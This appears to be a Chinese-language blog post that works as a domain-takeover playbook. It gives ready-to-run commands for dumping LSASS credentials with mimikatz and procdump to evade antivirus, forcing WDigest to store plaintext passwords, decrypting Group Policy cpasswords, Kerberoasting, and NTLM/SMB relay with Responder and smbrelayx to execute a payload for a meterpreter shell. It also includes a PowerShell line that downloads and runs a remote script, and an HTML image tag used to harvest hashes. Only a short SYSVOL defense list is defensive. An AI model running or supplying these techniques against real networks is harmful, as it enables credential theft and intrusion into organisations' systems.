高权限读取本地密码
当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过mimikatz来读取到本地的明文密码。
privilege::debug # 提权
sekurlsa::logonpasswords
如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式进行绕过。先导出lsass.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
保存到本地,通过mimikatz读lsass.dmp的明文
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" > 1.txt
如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取明文。
添加注册表,设置UseLogonCredential设置为1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
利用powershell脚本进行锁屏
Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
管理员重新登录后就可以抓取到明文密码了。
SYSVOL还原组策略
在域环境中,有个默认的共享路径
\\<DOMAIN>\SYSVOL\<DOMAIN>\
SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥。
可以利用powershell解密密文:
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"
针对SYSOVL的防御:
1.打补丁KB2962486
2.删除SYSVOL目录下的groups.xml
3.设置共享文件SYSVOL的权限
Kerberoasting
SPN为服务主体名称,是服务实列(MSSQL,HTTP等)的唯一标识,如果在林中安装服务的多个实列,每个实列都有自己的SPN,如果kerberos服务票证的加密类型为RC4_HMAC_MD5,就可以导出TGS对其进行离线破解,获取到域用户的密码了。
使用setspn查询spn(windows7和server2008默认自带)
查询域内所有的SPN和查询test域的SPN
setspn.exe -q */*
setspn.exe -T test.com -q */*
以CN开头的为代表一个账号,机器账号为Computers,域用户账号为Users
查询域内注册的spn(kerberoast)
cscript GetUserSPNs.vbs
PowerView
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
给MSSQL服务注册SPN
setspn.exe -A MSSQLSvc/WIN-M34UCFJIPNQ.test.com test.com\fanxing
将kerberos的加密方式换成RC4_HMAC_MD5
请求指定的TGS,完成之后klist就能查看相应的票据
$SPNName = 'MSSQLSvc/WIN-M34UCFJIPNQ.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
mimikatz导出票据
kerberos::list /export
使用tgsrepcrack.py破解
python tgsrepcrack.py wordlist.txt mssql.kirbi
kerberoasting后门利用
在获取到spn的修改权限后,可以给指定的域用户注册spn,可以获取到任意域用户的TGS进行离线破解
setspn.exe -U -A VNC/WIN-M34UCFJIPNQ.test.com Administrator
重放攻击
在NTML认证的过程中,数据包传递的是NTML-Hash加密的16位的challenge随机数得到的Net-NTML
Hash,如果存在中间人的情况,就可以通过hash进行重放攻击,下面简述下存在中间人,NTML协议过程:
1.当客户端对服务端发起请求,客户端并不知道中间人存在,所以把请求发送给了中间人。中间人拿着这个请求发送给服务端,服务端以为是客户端发来的请求。
2.进过验证后,会生成一个随机数(challenge)返回给攻击者,服务端保存的ntmlhash进行DES加密challenge(chal
lenge1),攻击者拿着这个challenge明文发送给客户端。
3.客户端对这个challenge用自己的密码进行DES加密(response),发送给中间人,中间人在将这个请求发送给服务端。
4.服务端拿到这个response跟之前加密的challenge1进行对比,一样的话就验证成功。
在进行ntml中间人攻击的时候,要避免最小的网络流量,所以使用的比较多的也是LLMNR/NetNS欺骗。
在两台windows进行进行资源请求的时候,对机器的解析顺序为:
1.HOSTS文件(c:/windows/system32/driver/etc/hosts)
2.本地的DNS缓存(ipconfig /displaydns)
3.dns服务器
4.LLMNR
5.NetBios-NS
SMB中继
对于smb中继的利用条件:
1.不能开启smb签名,而在域内,域控上面是开启了签名的,域成员机器是没有开启的。
2.打了ms08-068补丁的xp/2003系统也无法利用
首先利用nmap探测是否开启了签名
nmap -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.50.241
Responder+ntmlrelayx
获取ntmlv2 hash,在攻击机执行
python Responder.py -I eth0 -v #假设ip为192.168.50.64
在任意机器上执行
dir \\192.168.50.64\c$
当使用ntmlrelayx进行重放攻击的时候,需要在Responder.conf设置SMB和HTTP服务为Off
python Responder.py -I eth0 -v # 启动Responder,假设ip为192.168.50.64
python ntlmrelayx.py -t 192.168.50.241 # -t为受害者,进行中继攻击
net use192.168.50.64\c$ "fx@123.com" /user:"administrator" # 攻击机执行
smbrelayx
使用smbrelayx和ntmlrelayx都是利用的impacket,环境配置
pip install pycrypto # 安装加密库
apt-get --reinstall install python-pyasn1 python-pyasn1-modules
cd impacket/
python setup.py install
在攻击机进行重放攻击
# -h为指定受害者,-e在进行重放攻击后,在受害者机器执行exe
python smbrelayx.py -h 192.168.50.241 -e /root/shell.exe
在内网其他目标机器执行
net use192.168.50.64\c$ "fx@123.com" /user:"administrator"
在msf上成功获取到meterpreter
Windows平台的重放攻击
在windows下,可以利用powershell编写的Inveigh工具
powershell "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1');Invoke-Inveigh -consoleoutput Y FileOutput Y"
在其他主机上执行
dir \\192.168.50.242\c$ 或者在开启HTTP,利用<img>来加载图片
<img src="\\192.168.50.242\1.png"> 在通过HTTP协议访问就行了
注意:在获取权限的那台机器,需要关闭windows防火墙,不是一直获取到challenge。
- Post link: http://yoursite.com/2020/02/26/%E8%8E%B7%E5%8F%96%E5%9F%9F%E6%8E%A7%E7%9A%84%E6%96%B9%E6%B3%95/
- Copyright Notice: All articles in this blog are licensed under unless stating additionally.
若您想及时得到回复提醒,建议跳转 GitHub Issues 评论。
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues